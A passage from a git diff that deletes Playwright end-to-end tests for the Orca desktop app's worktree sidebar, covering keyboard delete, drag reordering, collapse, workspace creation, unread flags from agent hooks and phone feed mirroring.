`e2e-click-focus-delete-${Date.now()}`) - try { - await worktreeRowSurface(orcaPage, target).click() - await expectActive(orcaPage, target) - await expect(visibleTerminalInput(orcaPage)).toBeFocused() - await pressShortcut(orcaPage, 'Backspace', { shift: true }) - // The dialog opens synchronously on keydown, so later terminal output proves none was coming. - await orcaPage.keyboard.type('echo AFTER_DELETE_KEY') - await waitForTerminalOutput(orcaPage, 'AFTER_DELETE_KEY') - const dialog = orcaPage.getByRole('dialog') - await expect(dialog).toHaveCount(0) - await shot(orcaPage, testInfo, 'delete-from-terminal-ignored') - - await worktreeRowSurface(orcaPage, disposable).click() - await expectActiveId(orcaPage, disposable) - await pressShortcut(orcaPage, '0', { shift: true }) - const sidebar = orcaPage.locator('[data-worktree-sidebar]') - await expect(sidebar).toBeFocused() - // Arrow away and back so the deleted row is the one the keyboard selected. - await orcaPage.keyboard.press('ArrowUp') - await expect - .poll(() => orcaPage.evaluate(() => window.__store?.getState().activeWorktreeId)) - .not.toBe(disposable) - await orcaPage.keyboard.press('ArrowDown') - await expectActiveId(orcaPage, disposable) - await expect(sidebar).toBeFocused() - await pressShortcut(orcaPage, 'Backspace', { shift: true }) - await expect(dialog).toBeVisible() - await shot(orcaPage, testInfo, 'delete-from-keyboard-selection') - await dialog.getByRole('button', { name: 'Delete', exact: true }).click() - await expect - .poll(() => getAllWorktreeIds(orcaPage), { timeout: 15_000 }) - .not.toContain(disposable) - expect(await getAllWorktreeIds(orcaPage)).toContain(target) - } finally { - await orcaPage - .evaluate(async (id) => { - const state = window.__store?.getState() - if (state?.getKnownWorktreeById(id)) { - await state.removeWorktree({ id, executionHostId: null }, true) - } - }, disposable) - .catch(() => undefined) - } - }) -}) diff --git a/tests/e2e/sidebar-desktop-reads-main.spec.ts b/tests/e2e/sidebar-desktop-reads-main.spec.ts deleted file mode 100644 index c110f0b070a..00000000000 --- a/tests/e2e/sidebar-desktop-reads-main.spec.ts +++ /dev/null @@ -1,321 +0,0 @@ -// With ORCA_SIDEBAR_INPUTS=main, follow main’s feed while window drag/create/open/collapse changes still commit immediately. -import type { Page } from '@stablyai/playwright-test' -import { expect, test } from './helpers/orca-app' -import { removeWorktreeViaStore } from './helpers/dead-terminal' -import { SIDEBAR_INPUTS_BUILD } from './helpers/sidebar-inputs-build' -import { openSidebarWorkspaceComposer } from './helpers/sidebar-project-dialog' -import { waitForActiveWorktree, waitForSessionReady } from './helpers/store' - -test.skip(!SIDEBAR_INPUTS_BUILD, 'the window reads main only in an ORCA_SIDEBAR_INPUTS=main build') - -const ROWS = '[data-worktree-sidebar] [role="option"][data-worktree-id]' - -function renderedOrder(page: Page): Promise { - return page.locator(ROWS).evaluateAll((elements) => - elements - .map((element) => ({ - id: element.getAttribute('data-worktree-id') ?? '', - top: element.getBoundingClientRect().top - })) - .sort((left, right) => left.top - right.top) - .map((entry) => entry.id) - ) -} - -/** One committed sidebar DOM state. `afterInput`: committed once the first input began. - * `inInputTask`: committed within the task of an input, before any later task could run. */ -type DomState = { - ids: string[] - shows: boolean - current: string | null - afterInput: boolean - inInputTask: boolean -} - -type DomLog = { stop: () => Promise<{ states: DomState[]; inputs: string[] }> } - -// Record every committed DOM state within the input task: local changes can commit there, main IPC replies cannot. -// Use committed DOM rather than paint because hidden windows may never paint. -async function startDomLog(page: Page, text = ''): Promise { - const handle = await page.evaluateHandle( - ({ selector, wanted }) => { - const states: (Omit & { at: number })[] = [] - const inputs: { type: string; at: number; nextTaskAt: number }[] = [] - // Use event time because React may commit before this listener; posted messages close the observation window next task. - const onInput = (event: Event): void => { - const input = { type: event.type, at: event.timeStamp, nextTaskAt: Infinity } - inputs.push(input) - const channel = new MessageChannel() - channel.port1.onmessage = () => { - input.nextTaskAt = performance.now() - channel.port1.close() - } - channel.port2.postMessage(null) - } - // Why drop and dragend: a native drag ends in them, with no mouseup on Linux. - const events = ['pointerup', 'mouseup', 'click', 'drop', 'dragend'] - for (const type of events) { - window.addEventListener(type, onInput, true) - } - const sidebar = document.querySelector('[data-worktree-sidebar]') - const record = (): void => { - const rows = [...document.querySelectorAll(selector)].sort( - (a, b) => a.getBoundingClientRect().top - b.getBoundingClientRect().top - ) - states.push({ - ids: rows.map((row) => row.dataset.worktreeId ?? ''), - shows: wanted !== '' && (sidebar?.textContent ?? '').includes(wanted), - current: - rows.find((row) => row.getAttribute('aria-current') === 'page')?.dataset.worktreeId ?? - null, - at: performance.now() - }) - } - // A mutation callback runs after each commit, so it sees every state React commits. - const observer = new MutationObserver(record) - if (sidebar) { - observer.observe(sidebar, { - subtree: true, - childList: true, - attributes: true, - characterData: true - }) - } - record() - return () => { - observer.disconnect() - for (const type of events) { - window.removeEventListener(type, onInput, true) - } - const firstInputAt = inputs[0]?.at ?? Infinity - return { - states: states.map(({ at, ...state }) => ({ - ...state, - afterInput: at >= firstInputAt, - inInputTask: inputs.some((input) => input.at <= at && at <= input.nextTaskAt) - })), - inputs: inputs.map((input) => input.type) - } - } - }, - { selector: ROWS, wanted: text } - ) - return { stop: () => handle.evaluate((stop) => stop()) } -} - -/** The index of the first state after the input that satisfies `reached`, or -1. */ -function firstAfterInput(states: DomState[], reached: (state: DomState) => boolean): number { - return states.findIndex((state) => state.afterInput && reached(state)) -} - -async function dragBefore(page: Page, sourceId: string, targetId: string): Promise { - const source = page.locator(`${ROWS}[data-worktree-id=${JSON.stringify(sourceId)}]`).first() - const target = page.locator(`${ROWS}[data-worktree-id=${JSON.stringify(targetId)}]`).first() - const sourceBox = await source.boundingBox() - const targetBox = await target.boundingBox() - if (!sourceBox || !targetBox) { - throw new Error('drag geometry unavailable') - } - await page.mouse.move(sourceBox.x + sourceBox.width / 2, sourceBox.y + sourceBox.height / 2) - await page.mouse.down() - await page.mouse.move(targetBox.x + targetBox.width / 2, targetBox.y + 3, { steps: 8 }) - await page.mouse.up() -} - -test('the sidebar lists main’s inputs and keeps drag, create, open and collapse instant', async ({ - orcaPage -}, testInfo) => { - test.setTimeout(180_000) - await waitForSessionReady(orcaPage) - await waitForActiveWorktree(orcaPage) - const created = await orcaPage.evaluate(async () => { - const state = window.__store!.getState() - state.setGroupBy('none') - state.setSortBy('manual') - state.setShowSleepingWorkspaces(true) - const repoId = state.allWorktrees()[0]!.repoId - const ids: string[] = [] - for (const name of ['reads-main-a', 'reads-main-b', 'reads-main-c']) { - ids.push((await state.createWorktree(repoId, name, undefined, 'skip')).worktree.id) - } - return ids - }) - try { - const ours = async (): Promise => - (await renderedOrder(orcaPage)).filter((id) => created.includes(id)) - await expect.poll(async () => (await ours()).length, { timeout: 30_000 }).toBe(3) - await orcaPage.screenshot({ path: testInfo.outputPath(`list.png`) }) - - // Empty local catalog for one task; main-owned rows must remain before any refetch reply. - const listedWhileEmptied = await orcaPage.evaluate(async (selector) => { - window.__store!.setState({ worktreesByRepo: {} }) - await new Promise((resolve) => setTimeout(resolve, 0)) - return document.querySelectorAll(selector).length - }, ROWS) - expect(listedWhileEmptied).toBeGreaterThan(0) - await orcaPage.evaluate(() => window.__store!.getState().fetchAllWorktrees()) - await expect.poll(async () => (await ours()).length).toBe(3) - - // Drag: the new order shows in the drop's own task, and no later state snaps back. - const before = await ours() - const source = before[2]! - const dragLog = await startDomLog(orcaPage) - await dragBefore(orcaPage, source, before[0]!) - const expected = [source, before[0]!, before[1]!] - await expect.poll(ours).toEqual(expected) - await orcaPage.waitForTimeout(400) - const drag = await dragLog.stop() - const oursIn = (state: DomState): string => - state.ids.filter((id) => created.includes(id)).join() - const dropShown = firstAfterInput(drag.states, (state) => oursIn(state) === expected.join()) - expect(dropShown, `inputs seen: ${drag.inputs.join() || 'none'}`).toBeGreaterThanOrEqual(0) - expect(drag.states[dropShown]!.inInputTask).toBe(true) - expect( - drag.states - .slice(dropShown) - .map(oursIn) - .filter((order) => order !== expected.join()) - ).toEqual([]) - await orcaPage.screenshot({ path: testInfo.outputPath(`after-drag.png`) }) - - // Open: the clicked row is highlighted in the click's own task. - const openId = expected[1]! - const openLog = await startDomLog(orcaPage) - await orcaPage - .locator(`${ROWS}[data-worktree-id=${JSON.stringify(openId)}]`) - .first() - .click() - await expect( - orcaPage.locator(`${ROWS}[data-worktree-id=${JSON.stringify(openId)}][aria-current="page"]`) - ).toHaveCount(1) - const openStates = (await openLog.stop()).states - const opened = firstAfterInput(openStates, (state) => state.current === openId) - expect(opened).toBeGreaterThanOrEqual(0) - expect(openStates[opened]!.inInputTask).toBe(true) - - // Cmd/Ctrl+1–9 number the rendered rows. - const rendered = await renderedOrder(orcaPage) - const modifier = process.platform === 'darwin' ? 'Meta' : 'Control' - await orcaPage.keyboard.press(`${modifier}+2`) - await expect - .poll(() => orcaPage.evaluate(() => window.__store!.getState().activeWorktreeId)) - .toBe(rendered[1]) - - // Collapse: the section's rows leave in the click's own task, without waiting for main. - await orcaPage.evaluate(() => window.__store!.getState().setGroupBy('repo')) - await expect.poll(async () => (await ours()).length).toBe(3) - const header = orcaPage.locator('[data-worktree-sidebar] [data-repo-header-id][aria-expanded]') - const collapseLog = await startDomLog(orcaPage) - await header.first().click() - await expect.poll(async () => (await ours()).length).toBe(0) - const collapseStates = (await collapseLog.stop()).states - const collapsed = firstAfterInput( - collapseStates, - (state) => !state.ids.some((id) => created.includes(id)) - ) - expect(collapsed).toBeGreaterThanOrEqual(0) - expect(collapseStates[collapsed]!.inInputTask).toBe(true) - await header.first().click() - await expect.poll(async () => (await ours()).length).toBe(3) - - // Create: the pending row hands over to the new row with no state showing neither. - await orcaPage.evaluate(() => window.__store!.getState().setGroupBy('none')) - const name = `reads-main-new-${Date.now()}` - const createLog = await startDomLog(orcaPage, name) - await openSidebarWorkspaceComposer(orcaPage) - const dialog = orcaPage.getByRole('dialog', { name: /Create (Workspace|Worktree)/i }) - await dialog.getByPlaceholder(/Type a name/i).fill(name) - await dialog.getByRole('button', { name: /Create (Workspace|Worktree)/i }).click() - const idOf = (wanted: string): Promise => - orcaPage.evaluate( - (suffix) => - window - .__store!.getState() - .allWorktrees() - .find((worktree) => worktree.path.endsWith(suffix))?.id ?? null, - wanted - ) - await expect.poll(() => idOf(name), { timeout: 30_000 }).not.toBeNull() - const newId = (await idOf(name))! - created.push(newId) - await expect.poll(async () => (await renderedOrder(orcaPage)).includes(newId)).toBe(true) - await orcaPage.waitForTimeout(300) - const createStates = (await createLog.stop()).states - const pendingShown = createStates.findIndex(({ shows }) => shows) - expect(pendingShown).toBeGreaterThanOrEqual(0) - // The name shows as the pending row before the new row exists. - expect(createStates[pendingShown]!.ids).not.toContain(newId) - // The create click's own task lists the pending row, without waiting for main. - expect(createStates[pendingShown]!.inInputTask).toBe(true) - const handover = createStates.slice(pendingShown) - expect(handover.filter(({ ids, shows }) => !shows && !ids.includes(newId))).toEqual([]) - const appeared = handover.findIndex(({ ids }) => ids.includes(newId)) - expect(handover.slice(appeared).every(({ ids }) => ids.includes(newId))).toBe(true) - await orcaPage.screenshot({ path: testInfo.outputPath(`after-create.png`) }) - - // Virtualized scroll and reveal over a list taller than the sidebar. - const many = await orcaPage.evaluate(async () => { - const state = window.__store!.getState() - const repoId = state.allWorktrees()[0]!.repoId - const ids: string[] = [] - for (let index = 0; index < 30; index += 1) { - ids.push( - (await state.createWorktree(repoId, `reads-main-many-${index}`, undefined, 'skip')) - .worktree.id - ) - } - return ids - }) - created.push(...many) - const scroller = orcaPage.locator('[data-worktree-sidebar]') - await expect - .poll(async () => many.every((id) => created.includes(id)) && (await ours()).length, { - timeout: 30_000 - }) - .toBeGreaterThan(0) - // Scrolled to the end, the last row mounts; back at the top it is not mounted: virtualized. - let height = -1 - await expect - .poll( - async () => { - const previous = height - height = await scroller.evaluate((element) => element.scrollHeight) - return height === previous - }, - { intervals: [500], timeout: 30_000 } - ) - .toBe(true) - await scroller.evaluate((element) => element.scrollTo({ top: element.scrollHeight })) - // Wait for post-scroll row mounting; initial overscan can still leave the last mounted row mid-viewport. - const lastRowAtBottom = (): Promise => - scroller.evaluate((element, selector) => { - const box = element.getBoundingClientRect() - const last = [...element.querySelectorAll(selector)] - .map((row) => ({ row, rect: row.getBoundingClientRect() })) - .sort((left, right) => left.rect.top - right.rect.top) - .at(-1) - if (!last || last.rect.top < box.top || last.rect.bottom > box.bottom + 1) { - return '' - } - return box.bottom - last.rect.bottom < last.rect.height - ? (last.row.dataset.worktreeId ?? '') - : '' - }, ROWS) - await expect.poll(lastRowAtBottom).not.toBe('') - const bottomId = await lastRowAtBottom() - const bottomRow = orcaPage.locator(`${ROWS}[data-worktree-id=${JSON.stringify(bottomId)}]`) - await expect(bottomRow).toBeInViewport() - await scroller.evaluate((element) => element.scrollTo({ top: 0 })) - await expect(bottomRow).toHaveCount(0) - await orcaPage.evaluate( - (id) => window.__store!.getState().revealWorktreeInSidebar(id), - bottomId - ) - await expect(bottomRow).toBeInViewport() - await orcaPage.screenshot({ path: testInfo.outputPath(`after-reveal.png`) }) - } finally { - for (const id of created) { - await removeWorktreeViaStore(orcaPage, id).catch(() => {}) - } - } -}) diff --git a/tests/e2e/sidebar-host-unread.spec.ts b/tests/e2e/sidebar-host-unread.spec.ts deleted file mode 100644 index 097d29f47a2..00000000000 --- a/tests/e2e/sidebar-host-unread.spec.ts +++ /dev/null @@ -1,130 +0,0 @@ -import type { Page } from '@stablyai/playwright-test' -import { test, expect } from './helpers/orca-app' -import { postClaudeHook, readHookEndpoint } from './helpers/agent-hook-endpoint' -import { SIDEBAR_INPUTS_BUILD } from './helpers/sidebar-inputs-build' -import { ensureTerminalVisible, waitForActiveWorktree, waitForSessionReady } from './helpers/store' -import { waitForActivePaneHookDescriptor, waitForActiveTerminalManager } from './helpers/terminal' -import { - WorkspaceRowsSnapshotSchema, - type WorkspaceRow -} from '../../src/shared/sidebar-list/feed-facts/workspace-rows' - -test.skip( - !SIDEBAR_INPUTS_BUILD, - 'the host raises the unread flag only in an ORCA_SIDEBAR_INPUTS=main build' -) - -async function readHostRow(page: Page, rowKey: string): Promise { - const response = await page.evaluate(() => - window.api.runtime.call({ method: 'sidebarInputs.workspaceRows' }) - ) - if (!response.ok) { - throw new Error('sidebarInputs.workspaceRows failed') - } - return WorkspaceRowsSnapshotSchema.parse(response.result).rows[rowKey] -} - -test('the host raises the unread flag where the window’s user is not looking, as the window would', async ({ - orcaPage, - electronApp -}) => { - test.setTimeout(90_000) - await waitForSessionReady(orcaPage) - await waitForActiveWorktree(orcaPage) - await ensureTerminalVisible(orcaPage) - await waitForActiveTerminalManager(orcaPage, 30_000) - const endpoint = await readHookEndpoint(electronApp) - const pane = await waitForActivePaneHookDescriptor(orcaPage) - const rowKey = `local|${pane.worktreeId}` - const unread = async (): Promise => - (await readHostRow(orcaPage, rowKey))?.isUnread - await expect.poll(unread).toBe(false) - - // Input in the window confirms the user is present, and the agent's tab is on screen. - await orcaPage.mouse.move(40, 40) - await orcaPage.mouse.move(60, 60) - await postClaudeHook(endpoint, pane, { hook_event_name: 'UserPromptSubmit', prompt: 'go' }) - await postClaudeHook(endpoint, pane, { hook_event_name: 'Stop', last_assistant_message: 'ok' }) - await expect.poll(async () => (await readHostRow(orcaPage, rowKey))?.smartTier).toBe('done') - expect(await unread()).toBe(false) - - // Settings is up, so no workspace is on screen: the finish is news. - await orcaPage.evaluate(() => window.__store?.setState({ activeView: 'tasks' })) - await postClaudeHook(endpoint, pane, { hook_event_name: 'UserPromptSubmit', prompt: 'more' }) - await postClaudeHook(endpoint, pane, { hook_event_name: 'Stop', last_assistant_message: 'ok' }) - await expect.poll(unread).toBe(true) - // The window's copy is the host's record. - await expect - .poll(() => - orcaPage.evaluate( - (id) => - Object.values(window.__store?.getState().worktreesByRepo ?? {}) - .flat() - .find((worktree) => worktree.id === id)?.isUnread, - pane.worktreeId - ) - ) - .toBe(true) - - // Mark as read writes through to the host. - await orcaPage.evaluate((id) => { - window.__store?.getState().setWorkspaceUnreadByUser(id, false, 'local') - }, pane.worktreeId) - await expect.poll(unread).toBe(false) - - await postClaudeHook(endpoint, pane, { - hook_event_name: 'PermissionRequest', - tool_name: 'Bash', - tool_input: { command: 'ls' } - }) - await expect.poll(unread).toBe(true) -}) - -test('the host raises the flag even for a workspace the Filters hide while hidden workspaces stay quiet', async ({ - orcaPage, - electronApp -}) => { - test.setTimeout(90_000) - await waitForSessionReady(orcaPage) - await waitForActiveWorktree(orcaPage) - await ensureTerminalVisible(orcaPage) - await waitForActiveTerminalManager(orcaPage, 30_000) - const endpoint = await readHookEndpoint(electronApp) - const pane = await waitForActivePaneHookDescriptor(orcaPage) - const rowKey = `local|${pane.worktreeId}` - const unread = async (): Promise => - (await readHostRow(orcaPage, rowKey))?.isUnread - // The seeded workspace is the primary checkout, which "Hide default branch" hides. - await orcaPage.evaluate(async () => { - const state = window.__store!.getState() - state.setHideDefaultBranchWorkspace(true) - state.setActiveView('tasks') - await state.updateSettings({ - notifications: { ...state.settings!.notifications, notifyHiddenWorkspaces: false } - }) - }) - // The host reads the persisted switch, not the window's copy. - await expect - .poll(() => - orcaPage.evaluate(async () => (await window.api.ui.get()).hideDefaultBranchWorkspace) - ) - .toBe(true) - await expect.poll(unread).toBe(false) - - // The flag is shared by every client, whatever its Filters; only banners and sounds are muted. - await postClaudeHook(endpoint, pane, { hook_event_name: 'UserPromptSubmit', prompt: 'go' }) - await postClaudeHook(endpoint, pane, { hook_event_name: 'Stop', last_assistant_message: 'ok' }) - await expect.poll(unread).toBe(true) - // The window keeps the host's dot; its Filters mute only its own banner and sound. - await expect - .poll(() => - orcaPage.evaluate( - (id) => - Object.values(window.__store?.getState().worktreesByRepo ?? {}) - .flat() - .find((worktree) => worktree.id === id)?.isUnread, - pane.worktreeId - ) - ) - .toBe(true) -}) diff --git a/tests/e2e/sidebar-inputs-feed.spec.ts b/tests/e2e/sidebar-inputs-feed.spec.ts deleted file mode 100644 index ee10aa7d77c..00000000000 --- a/tests/e2e/sidebar-inputs-feed.spec.ts +++ /dev/null @@ -1,94 +0,0 @@ -import { test, expect } from './helpers/orca-app' -import { SIDEBAR_INPUTS_BUILD } from './helpers/sidebar-inputs-build' -import { waitForActiveWorktree, waitForSessionReady } from './helpers/store' -import { createDesktopMobilePairingOffer } from './helpers/paired-electron-client' -import { pairMobileClient, type PairedMobileSocket } from './helpers/paired-mobile-client' -import type { SidebarInputsReadResult } from '../../src/shared/sidebar-list/feed/sidebar-inputs-feed-contract' -import { - INITIAL_SIDEBAR_INPUTS_FEED_STATE, - refreshSidebarInputs, - sidebarInputsChanged, - sidebarInputsReplied, - type SidebarInputsFeedState, - type SidebarInputsFeedStep -} from '../../src/shared/sidebar-list/feed/sidebar-inputs-feed-installer' - -/** Sends each read the installer asks for over the phone's one socket until none is left. */ -async function settle(socket: PairedMobileSocket, step: SidebarInputsFeedStep) { - let { state, request } = step - while (request) { - const frameId = `feed-${request.id}` - socket.send(frameId, 'sidebarInputs.read', request.params) - await expect.poll(() => socket.frames.some((frame) => frame.id === frameId)).toBe(true) - const frame = socket.frames.find((candidate) => candidate.id === frameId) - expect(frame, JSON.stringify(frame?.error)).toMatchObject({ ok: true }) - // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: an ok sidebarInputs.read frame carries its result. - const reply = frame?.result as SidebarInputsReadResult - ;({ state, request } = sidebarInputsReplied(state, request.id, reply)) - } - return { state } -} - -function pinned(state: SidebarInputsFeedState): unknown { - return state.installed?.domains.get('desktop')?.get('pinnedWorkspaceIds') -} - -test.describe('switch on', () => { - test.skip( - !SIDEBAR_INPUTS_BUILD, - 'sidebarInputs.read exists only in an ORCA_SIDEBAR_INPUTS=main build' - ) - - test('the host’s own phone reads a whole snapshot, then a delta after a change', async ({ - orcaPage - }) => { - await waitForSessionReady(orcaPage) - const worktreeId = await waitForActiveWorktree(orcaPage) - const phone = pairMobileClient(await createDesktopMobilePairingOffer(orcaPage)) - try { - const socket = await phone.openSocket() - socket.send('events', 'runtime.clientEvents.subscribe', null) - - const first = await settle(socket, refreshSidebarInputs(INITIAL_SIDEBAR_INPUTS_FEED_STATE)) - - const installed = first.state.installed - - expect(pinned(first.state)).not.toContain(worktreeId) - - await orcaPage.evaluate( - (id) => - window.api.runtime.call({ - method: 'worktree.set', - params: { worktree: `id:${id}`, isPinned: true } - }), - worktreeId - ) - const notice = (): { generation: string; revision: number } | undefined => - socket.frames - .map((frame) => frame.result) - .findLast( - ( - result - ): result is { type: 'sidebarInputsChanged'; generation: string; revision: number } => - typeof result === 'object' && - result !== null && - 'type' in result && - result.type === 'sidebarInputsChanged' && - 'revision' in result && - typeof result.revision === 'number' && - result.revision > (installed?.revision ?? 0) - ) - await expect.poll(() => notice() !== undefined).toBe(true) - const event = notice() - if (!event) { - throw new Error('no change notice') - } - const second = await settle(socket, sidebarInputsChanged(first.state, event)) - - expect(second.state.installed?.generation).toBe(installed?.generation) - expect(pinned(second.state)).toContain(worktreeId) - } finally { - phone.dispose() - } - }) -}) diff --git a/tests/e2e/sidebar-phone-feed-list.spec.ts b/tests/e2e/sidebar-phone-feed-list.spec.ts deleted file mode 100644 index 39ce4084441..00000000000 --- a/tests/e2e/sidebar-phone-feed-list.spec.ts +++ /dev/null @@ -1,348 +0,0 @@ -// Compare phone feed modules to the desktop sidebar’s headers/order/nesting/highlight/collapse for local and paired-server workspaces. -import { mkdirSync, mkdtempSync, realpathSync, rmSync, writeFileSync } from 'node:fs' -import os from 'node:os' -import { execFileSync } from 'node:child_process' -import path from 'node:path' -import type { Page } from '@stablyai/playwright-test' -import { z } from 'zod' -import { test, expect } from './helpers/orca-app' -import { SIDEBAR_INPUTS_BUILD } from './helpers/sidebar-inputs-build' -import { waitForActiveWorktree, waitForSessionReady } from './helpers/store' -import { createDesktopMobilePairingOffer } from './helpers/paired-electron-client' -import { pairMobileClient } from './helpers/paired-mobile-client' -import { launchPhoneMirrorTopology } from './helpers/phone-mirror-topology' -import { - desktopSidebarOutline, - outlineRows, - openPhoneFeedList, - type ListOutline -} from './helpers/phone-feed-list' - -type PhoneList = Awaited> - -const AddedRepoSchema = z.object({ repo: z.object({ id: z.string() }) }) - -// Require both lists to agree after the requested change, not merely on their shared old state. -async function expectPhoneMatchesDesktop( - page: Page, - phone: PhoneList, - showsChange: (outline: ListOutline) => boolean = () => true -): Promise { - let desktop: ListOutline = [] - let shown: ListOutline = [] - await expect - .poll( - async () => { - desktop = await desktopSidebarOutline(page) - shown = await phone.outline() - // Why the change too: the phone hears a change later, so both still agree on the old list. - return ( - outlineRows(shown).join('\n') === outlineRows(desktop).join('\n') && showsChange(shown) - ) - }, - { timeout: 30_000 } - ) - .toBe(true) - .catch(() => expect(outlineRows(shown)).toEqual(outlineRows(desktop))) - expect(shown.some((line) => line.startsWith('ITEM '))).toBe(true) - return shown -} - -async function runtimeCall(page: Page, method: string, params: unknown): Promise { - return page.evaluate( - async ({ method, params }) => { - const response = await window.api.runtime.call({ method, params }) - if (!response.ok) { - throw new Error(response.error.message) - } - return response.result - }, - { method, params } - ) -} - -test.describe('switch on', () => { - test.skip( - !SIDEBAR_INPUTS_BUILD, - 'the phone reads the feed only in an ORCA_SIDEBAR_INPUTS=main build' - ) - - test('the phone lists the desktop sidebar from the feed, through pins, the open workspace and collapse', async ({ - orcaPage - }) => { - test.setTimeout(180_000) - await waitForSessionReady(orcaPage) - const activeId = await waitForActiveWorktree(orcaPage) - const repoId = activeId.split('::')[0] - const phone = pairMobileClient(await createDesktopMobilePairingOffer(orcaPage)) - for (const name of ['feed-a', 'feed-b']) { - await phone.call('worktree.create', { - repo: `id:${repoId}`, - name, - setupDecision: 'skip' - }) - } - // The phone last opened the desktop's workspace, so it highlights that row. - const list = await openPhoneFeedList(phone, { worktreeId: activeId }) - try { - const first = await expectPhoneMatchesDesktop(orcaPage, list) - expect(first.filter((line) => line.endsWith(' ACTIVE'))).toHaveLength(1) - - // A pin on the desktop reaches the phone through a notice, with a Pinned section. - await runtimeCall(orcaPage, 'worktree.set', { worktree: `id:${activeId}`, isPinned: true }) - const hasPinned = (outline: ListOutline): boolean => - outline.some((line) => line.startsWith('HEADER Pinned')) - const pinned = await expectPhoneMatchesDesktop(orcaPage, list, hasPinned) - expect(hasPinned(pinned)).toBe(true) - - // Pinned rows also in their groups: the open workspace highlights at both. - await orcaPage.evaluate(() => - window.__store!.getState().updateSettings({ showPinnedWorktreesInGroups: true }) - ) - const activeCount = (outline: ListOutline): number => - outline.filter((line) => line.endsWith(' ACTIVE')).length - const duplicated = await expectPhoneMatchesDesktop( - orcaPage, - list, - (outline) => activeCount(outline) === 2 - ) - expect(activeCount(duplicated)).toBe(2) - - // The phone collapses one section with ui.setCollapsed; the desktop and the phone both fold it. - const project = (await list.sections())?.find((section) => section.repo) - expect(project).toBeDefined() - const before = await orcaPage.evaluate(() => [...window.__store!.getState().collapsedGroups]) - const reply = await list.request('ui.setCollapsed', { - key: project!.key, - collapsed: true, - opId: { writer: 'e2e-phone', seq: 1 } - }) - expect(reply).toMatchObject({ ok: true }) - await expect - .poll(() => orcaPage.evaluate(() => [...window.__store!.getState().collapsedGroups])) - .toEqual([...before, project!.key]) - const folded = await expectPhoneMatchesDesktop( - orcaPage, - list, - (outline) => outline.length < duplicated.length - ) - const foldedSection = (await list.sections())?.find((section) => section.key === project!.key) - expect(foldedSection?.data).toEqual([]) - expect(foldedSection?.count).toBeGreaterThan(0) - expect(folded.length).toBeLessThan(duplicated.length) - - // Expanded again by a later op from the same writer. - expect( - await list.request('ui.setCollapsed', { - key: project!.key, - collapsed: false, - opId: { writer: 'e2e-phone', seq: 2 } - }) - ).toMatchObject({ ok: true }) - await expectPhoneMatchesDesktop( - orcaPage, - list, - (outline) => outline.length === duplicated.length - ) - const unfolded = (await list.sections())?.find((section) => section.key === project!.key) - expect(unfolded?.data.length).toBeGreaterThan(0) - - // Unpinned on the desktop: the Pinned section goes and one highlight is left. - await runtimeCall(orcaPage, 'worktree.set', { worktree: `id:${activeId}`, isPinned: false }) - const unpinned = await expectPhoneMatchesDesktop( - orcaPage, - list, - (outline) => !hasPinned(outline) - ) - expect(activeCount(unpinned)).toBe(1) - } finally { - list.close() - phone.dispose() - } - }) - - test('the phone files grouped projects under the desktop’s project group, and folds it with the desktop', async ({ - orcaPage, - registerPostElectronShutdownCleanup - }) => { - test.setTimeout(180_000) - await waitForSessionReady(orcaPage) - const activeId = await waitForActiveWorktree(orcaPage) - const repoId = activeId.split('::')[0] - const folderPath = realpathSync(mkdtempSync(path.join(os.tmpdir(), 'orca-phone-group-'))) - registerPostElectronShutdownCleanup(async () => - rmSync(folderPath, { recursive: true, force: true }) - ) - const folder = AddedRepoSchema.parse( - await runtimeCall(orcaPage, 'repo.add', { path: folderPath, kind: 'folder' }) - ) - await expect - .poll(() => - orcaPage.evaluate( - (id) => window.__store!.getState().repos.some((entry) => entry.id === id), - folder.repo.id - ) - ) - .toBe(true) - // A group holding a repo project and a folder project, the folder project first. - const moved = await orcaPage.evaluate( - async ({ repoId, folderId }) => { - const state = () => window.__store!.getState() - const group = await state().createProjectGroup('school', 'local') - if (!group) { - throw new Error('Expected a project group') - } - const repoById = (id: string) => { - const found = state().repos.find((entry) => entry.id === id) - if (!found) { - throw new Error(`Expected repo ${id}`) - } - return found - } - return [ - await state().moveProjectToGroup(repoById(folderId), group.id, 0), - await state().moveProjectToGroup(repoById(repoId), group.id, 1) - ] - }, - { repoId, folderId: folder.repo.id } - ) - expect(moved).toEqual([true, true]) - const phone = pairMobileClient(await createDesktopMobilePairingOffer(orcaPage)) - const list = await openPhoneFeedList(phone) - try { - // The group, then the folder project, then the repo project's rows: the desktop's order. - const inGroup = (outline: ListOutline): boolean => { - const at = [ - outline.indexOf('HEADER school'), - outline.indexOf(`HEADER ${path.basename(folderPath)}`), - outline.findIndex((line) => line.startsWith('ITEM ') && line.includes(repoId)) - ] - return at[0] !== -1 && at[0] < at[1] && at[1] < at[2] - } - const shown = await expectPhoneMatchesDesktop(orcaPage, list, inGroup) - expect(inGroup(shown)).toBe(true) - const sections = (await list.sections()) ?? [] - const groupAt = sections.findIndex((section) => section.title === 'school') - expect(sections[groupAt]).toMatchObject({ isProjectGroup: true }) - // The folder project, then the repo project, both one level in. - expect( - sections - .slice(groupAt + 1, groupAt + 3) - .map((section) => [section.repo?.id, section.projectGroupDepth]) - ).toEqual([ - [folder.repo.id, 1], - [repoId, 1] - ]) - - // The phone folds the group; the desktop folds it too, and both hide its projects. - const key = sections[groupAt]!.key - expect( - await list.request('ui.setCollapsed', { - key, - collapsed: true, - opId: { writer: 'e2e-phone-group', seq: 1 } - }) - ).toMatchObject({ ok: true }) - // Every project sits in the group, so both lists fold down to its header alone. - await expect - .poll(async () => [await list.outline(), await desktopSidebarOutline(orcaPage)], { - timeout: 30_000 - }) - .toEqual([['HEADER school'], ['HEADER school']]) - - // The desktop unfolds it; the phone follows. - await orcaPage.evaluate((key) => window.__store!.getState().toggleCollapsedGroup(key), key) - await expectPhoneMatchesDesktop(orcaPage, list, (outline) => outline.length === shown.length) - } finally { - list.close() - phone.dispose() - } - }) - - test('a project group move reaches the phone while an earlier read is held, with no refresh', async ({ - orcaPage - }) => { - test.setTimeout(180_000) - await waitForSessionReady(orcaPage) - const activeId = await waitForActiveWorktree(orcaPage) - const repoId = activeId.split('::')[0] - const [first, second] = await orcaPage.evaluate(async () => { - const state = window.__store!.getState() - return Promise.all( - ['e2e-first', 'e2e-second'].map( - async (name) => (await state.createProjectGroup(name, 'local'))?.id - ) - ) - }) - expect(first && second).toBeTruthy() - const move = (groupId: string) => - orcaPage.evaluate( - async ({ repoId, groupId }) => { - const state = window.__store!.getState() - const repo = state.repos.find((candidate) => candidate.id === repoId) - return repo ? state.moveProjectToGroup(repo, groupId) : false - }, - { repoId, groupId } - ) - expect(await 